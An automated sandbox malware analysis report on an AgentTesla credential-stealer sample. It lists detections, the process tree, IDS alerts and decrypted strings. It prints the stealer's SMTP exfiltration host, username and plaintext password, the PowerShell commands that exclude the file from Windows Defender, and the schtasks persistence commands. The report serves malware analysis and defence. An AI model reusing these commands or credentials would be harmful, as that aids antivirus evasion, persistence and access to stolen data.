Edit tour

Windows Analysis Report
LisectAVT_2403002A_16.exe

Overview

General Information

Sample name:	LisectAVT_2403002A_16.exe
Analysis ID:	1482478
MD5:	2c10cb6c2e23b7712ebf4042d669cd09
SHA1:	f86adb59bd065afd9195b9375271096f341842dc
SHA256:	546569a42f00553d7fda79e6961779afadd95ea8e6a8738ef344275f2b642244
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Sigma detected: Scheduled temp file as task from temp location

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

LisectAVT_2403002A_16.exe (PID: 6668 cmdline: "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe" MD5: 2C10CB6C2E23B7712EBF4042D669CD09)

powershell.exe (PID: 7244 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7768 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 7272 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7316 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

LisectAVT_2403002A_16.exe (PID: 7532 cmdline: "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe" MD5: 2C10CB6C2E23B7712EBF4042D669CD09)

LisectAVT_2403002A_16.exe (PID: 7544 cmdline: "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe" MD5: 2C10CB6C2E23B7712EBF4042D669CD09)

NxmtwwVGOtEdjd.exe (PID: 7680 cmdline: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe MD5: 2C10CB6C2E23B7712EBF4042D669CD09)

schtasks.exe (PID: 7912 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpCD2C.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

NxmtwwVGOtEdjd.exe (PID: 7964 cmdline: "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe" MD5: 2C10CB6C2E23B7712EBF4042D669CD09)

NxmtwwVGOtEdjd.exe (PID: 7972 cmdline: "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe" MD5: 2C10CB6C2E23B7712EBF4042D669CD09)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Host": "mail.mbarieservicesltd.com", "Username": "saless@mbarieservicesltd.com", "Password": "     *o9H+18Q4%;M     "}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000F.00000002.2902484873.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2898350883.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000009.00000002.2901886951.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.1787617220.0000000004500000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.1723431532.00000000041AF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000009.00000002.2901886951.0000000002E71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2901886951.0000000002E71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.2902484873.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2902484873.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: LisectAVT_2403002A_16.exe PID: 6668	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: LisectAVT_2403002A_16.exe PID: 7544	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: LisectAVT_2403002A_16.exe PID: 7544	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: NxmtwwVGOtEdjd.exe PID: 7680	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: NxmtwwVGOtEdjd.exe PID: 7972	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NxmtwwVGOtEdjd.exe PID: 7972	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author
10.2.NxmtwwVGOtEdjd.exe.45296a0.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
10.2.NxmtwwVGOtEdjd.exe.4500680.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.LisectAVT_2403002A_16.exe.41d8730.5.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
10.2.NxmtwwVGOtEdjd.exe.45296a0.4.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
10.2.NxmtwwVGOtEdjd.exe.4500680.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.LisectAVT_2403002A_16.exe.41d8730.5.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.LisectAVT_2403002A_16.exe.41af710.4.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe", ParentImage: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe, ParentProcessId: 6668, ParentProcessName: LisectAVT_2403002A_16.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe", ProcessId: 7244, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpCD2C.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpCD2C.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe, ParentImage: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe, ParentProcessId: 7680, ParentProcessName: NxmtwwVGOtEdjd.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpCD2C.tmp", ProcessId: 7912, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 199.79.62.115, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe, Initiated: true, ProcessId: 7544, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49735

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe", ParentImage: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe, ParentProcessId: 6668, ParentProcessName: LisectAVT_2403002A_16.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp", ProcessId: 7316, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe", ParentImage: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe, ParentProcessId: 6668, ParentProcessName: LisectAVT_2403002A_16.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe", ProcessId: 7244, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe", ParentImage: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe, ParentProcessId: 6668, ParentProcessName: LisectAVT_2403002A_16.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp", ProcessId: 7316, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.4

Timestamp:	2024-07-25T23:35:36.103588+0200
SID:	2022930
Source Port:	443
Destination Port:	49737
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 199.79.62.115

Timestamp:	2024-07-25T23:35:25.918768+0200
SID:	2855542
Source Port:	49735
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 199.79.62.115

Timestamp:	2024-07-25T23:35:29.982176+0200
SID:	2855542
Source Port:	49736
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.4

Timestamp:	2024-07-25T23:35:55.569991+0200
SID:	2022930
Source Port:	443
Destination Port:	53201
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.4

Timestamp:	2024-07-25T23:35:56.837685+0200
SID:	2022930
Source Port:	443
Destination Port:	53202
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 199.79.62.115

Timestamp:	2024-07-25T23:35:11.625146+0200
SID:	2840032
Source Port:	49736
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: LisectAVT_2403002A_16.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe

Avira: detection malicious, Label: TR/Kryptik.mzsma

Found malware configuration

Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "mail.mbarieservicesltd.com", "Username": "saless@mbarieservicesltd.com", "Password": " *o9H+18Q4%;M "}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: LisectAVT_2403002A_16.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: /log.tmp
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br>[
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: yyyy-MM-dd HH:mm:ss
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ]<br>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Time:
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: MM/dd/yyyy HH:mm:ss
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br>User Name:
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br>Computer Name:
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br>OSFullName:
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br>CPU:
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br>RAM:
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: IP Address:
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <hr>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: New
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: MM/dd/yyyy HH:mm:ss
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: IP Address:
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: false
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: false
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: false
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: false
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: false
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: false
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: false
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: false
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: false
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: mail.mbarieservicesltd.com
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: saless@mbarieservicesltd.com
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: *o9H+18Q4%;M
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: iinfo@mbarieservicesltd.com
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: false
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: false
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: appdata
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: KTvkzEc
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: KTvkzEc.exe
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: KTvkzEc
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Type
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <hr>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <b>[
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ]</b> (
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: )<br>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {BACK}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {ALT+TAB}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {ALT+F4}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {TAB}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {ESC}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {Win}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {CAPSLOCK}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {KEYUP}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {KEYDOWN}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {KEYLEFT}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {KEYRIGHT}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {DEL}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {END}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {HOME}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {Insert}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {NumLock}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {PageDown}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {PageUp}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {ENTER}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F1}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F2}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F3}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F4}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F5}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F6}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F7}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F8}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F9}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F10}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F11}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {F12}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: control
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: {CTRL}
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: &
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: >
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: "
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <br><hr>Copied Text: <br>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: <hr>
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: logins
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: IE/Edge
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: 2F1A6504-0641-44CF-8BB5-3612D865F2E5
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Windows Secure Note
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: 3CCD5499-87A8-4B10-A215-608888DD3B55
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Windows Web Password Credential
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: 154E23D0-C644-4E6F-8CE6-5069272F999F
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Windows Credential Picker Protector
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Web Credentials
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: 77BC582B-F0A6-4E15-4E80-61736B6F3B29
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Windows Credentials
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Windows Domain Certificate Credential
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Windows Domain Password Credential
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Windows Extended Credential
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: 00000000-0000-0000-0000-000000000000
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SchemaId
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: pResourceElement
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: pIdentityElement
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: pPackageSid
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: pAuthenticatorElement
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: IE/Edge
